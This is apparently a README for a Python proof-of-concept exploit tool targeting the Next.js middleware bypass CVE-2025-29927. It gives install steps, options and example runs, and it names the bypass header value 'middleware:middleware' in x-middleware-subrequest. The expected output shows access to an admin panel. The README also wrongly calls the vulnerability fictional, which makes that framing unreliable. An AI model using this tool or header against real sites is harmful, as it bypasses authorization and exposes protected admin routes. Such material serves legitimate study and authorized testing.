Share
## https://sploitus.com/exploit?id=1FCFA65E-B9F8-53A1-86B4-2FFD81B62CFE
# PoC for Next.js Middleware Bypass (CVE-2025-29927)

[![Python Version](https://img.shields.io/badge/python-3.7%2B-blue.svg)](https://www.python.org/)
[![License](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE)
[![Status](https://img.shields.io/badge/status-active-brightgreen.svg)]()

This is a **proof-of-concept** for a **fictional** Next.js middleware bypass vulnerability (CVE-2025-29927). Use **only** for educational and authorized security research.

---

## ๐Ÿš€ Features

| Feature             | Description                                                       |
| ------------------- | ----------------------------------------------------------------- |
| โœจ Color & Verbose   | Color-coded output; `-v` for detailed debug logs.                 |
| ๐Ÿ“ฆ OOP Structure    | Class-based design for clarity and maintainability.               |
| ๐ŸŒ Proxy Support    | Route traffic through HTTP(S) proxies via `--proxy`.              |
| ๐Ÿช Session Handling | Persistent `requests.Session` for cookies & connection reuse.     |
| ๐Ÿšฆ Redirect Control | No-follow-redirect by default; clearly detects pass vs. fail.     |
| ๐Ÿ›  Custom Headers   | Override `User-Agent`, `x-middleware-subrequest`, or add headers. |

---

## โšก Installation

```bash
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc

# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Install dependencies
pip install -r requirements.txt
```

> **Requires** Python 3.7+

---

## ๐ŸŽฏ Usage

```bash
python poc.py [options] <host>[:port]
```

| Option                      | Description                                                               |
| --------------------------- | ------------------------------------------------------------------------- |
| `-p, --path PATH`           | Protected route path (default: `/admin`)                                  |
| `-s, --scheme {http,https}` | Protocol (default: `http`)                                                |
| `--header HEADER`           | `x-middleware-subrequest` header value (default: `middleware:middleware`) |
| `-ua, --user-agent AGENT`   | Custom `User-Agent` (default: `Mozilla/5.0`)                              |
| `--proxy PROXY`             | HTTP(S) proxy URL (e.g., `http://127.0.0.1:8080`)                         |
| `-v, --verbose`             | Enable debug output                                                       |
| `-h, --help`                | Show this help message                                                    |

---

## ๐Ÿ” Examples

### 1. Basic Test

```bash
python poc.py localhost:3000
```

### 2. HTTPS & Custom Path

```bash
python poc.py example.com -s https -p /dashboard
```

### 3. Proxy & Verbose

```bash
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
```

---

## โœ… Expected Output

**Success**

```
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed โ€” access granted!
--- Response Snippet ---
<!DOCTYPE html><html>โ€ฆ<title>Admin Panel</title>โ€ฆ
```

**Failure**

```
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
```

---